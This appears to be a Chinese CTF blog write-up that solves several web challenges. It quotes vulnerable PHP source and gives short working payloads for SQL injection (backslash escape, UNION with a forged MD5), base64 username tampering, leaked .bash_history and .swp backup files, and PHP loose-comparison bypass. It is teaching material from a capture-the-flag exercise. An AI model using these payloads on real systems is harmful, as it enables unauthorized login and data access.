密码重置
页面打开如图:
首先我们可以发现user1处是ctfuser的base64编码,我们将其改为admin的base64编码,然后将user=admin&newpass=123(newpass的值随意)&vcode=1234(验证码)post过去,就可以拿到flag.
SQL Injection
提示用反斜杠,f12可以看到源码:
#GOAL: login as admin,then get the flag; error_reporting(0); require 'db.inc.php'; function clean($str){ if(get_magic_quotes_gpc()){ $str=stripslashes($str); } return htmlentities($str, ENT_QUOTES); } $username = @clean((string)$_GET['username']); $password = @clean((string)$_GET['password']); $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; $result=mysql_query($query); if(!$result || mysql_num_rows($result) < 1){ die('Invalid password!'); } echo $flag;
根据源码构造payload:?username=\&password=or+1=1%23获得flag.
综合题
打开页面满屏括号……(当时人是傻的),查了一下知道了是jsfuck,于是直接jsfuck复制下来,在控制台运行,显示出一个php文件名,访问之,看到一句话:
哈哈哈哈哈哈你上当啦,这里什么都没有,TIP在我脑袋里
有端联想一下,脑袋即为头,于是去看头,发现响应头中的tip:history of bash,随后访问/.bash_history,获得信息:zip -r flagbak.zip ./*,访问flagbak.zip,下载下来打开txt文件即可.
SQL注入2
考union查询,源码:
<?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = $_POST[user]; $pass = md5($_POST[pass]); $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'")); if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { echo "<p>Logged in! Key: ntcf{**************} </p>"; } else { echo("<p>Log in failure!</p>"); } } ?>
题目告诉用union,结合源码中的查询语句构造payload:user=-1′ union select ‘c8dc8fdf774bb5468b9e9cc09eb48384&pass=leuk,其中c8dc8fdf774bb5468b9e9cc09eb48384是leuk的md5值.因为没有-1这个user,所以会返回union select 后的内容,即leuk的MD5值.这样就可以成功登陆拿到flag.
综合题2单独更,此处先跳过.
密码重置2
题目给了三个tip:1.管理员邮箱观察一下就可以找到2.linux下一般使用vi编辑器,并且异常退出会留下备份文件3.弱类型bypass
f12可以找到管理员邮箱,备份文件后缀为.swp,访问.submit.php.swp
CREATE TABLE IF NOT EXISTS `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) NOT NULL, `email` varchar(255) NOT NULL, `token` int(255) NOT NULL DEFAULT '0', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES (1, '****不可见***', '***不可见***', 0); */
if(!empty($token)&&!empty($emailAddress)){ if(strlen($token)!=10) die('fail'); if($token!='0') die('fail'); $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'"; $r = mysql_query($sql) or die('db error'); $r = mysql_fetch_assoc($r); $r = $r['num']; if($r>0){ echo $flag; }else{ echo "失败了呀"; } }
代码中要求token长度为10且==’0′,第三个tip派上用场,令token=0000000000或0exxxxxxxx(xxx处为数字),拿到flag.
文末废话:大概明天就会把综合题2写出来,立个flag.
No responses yet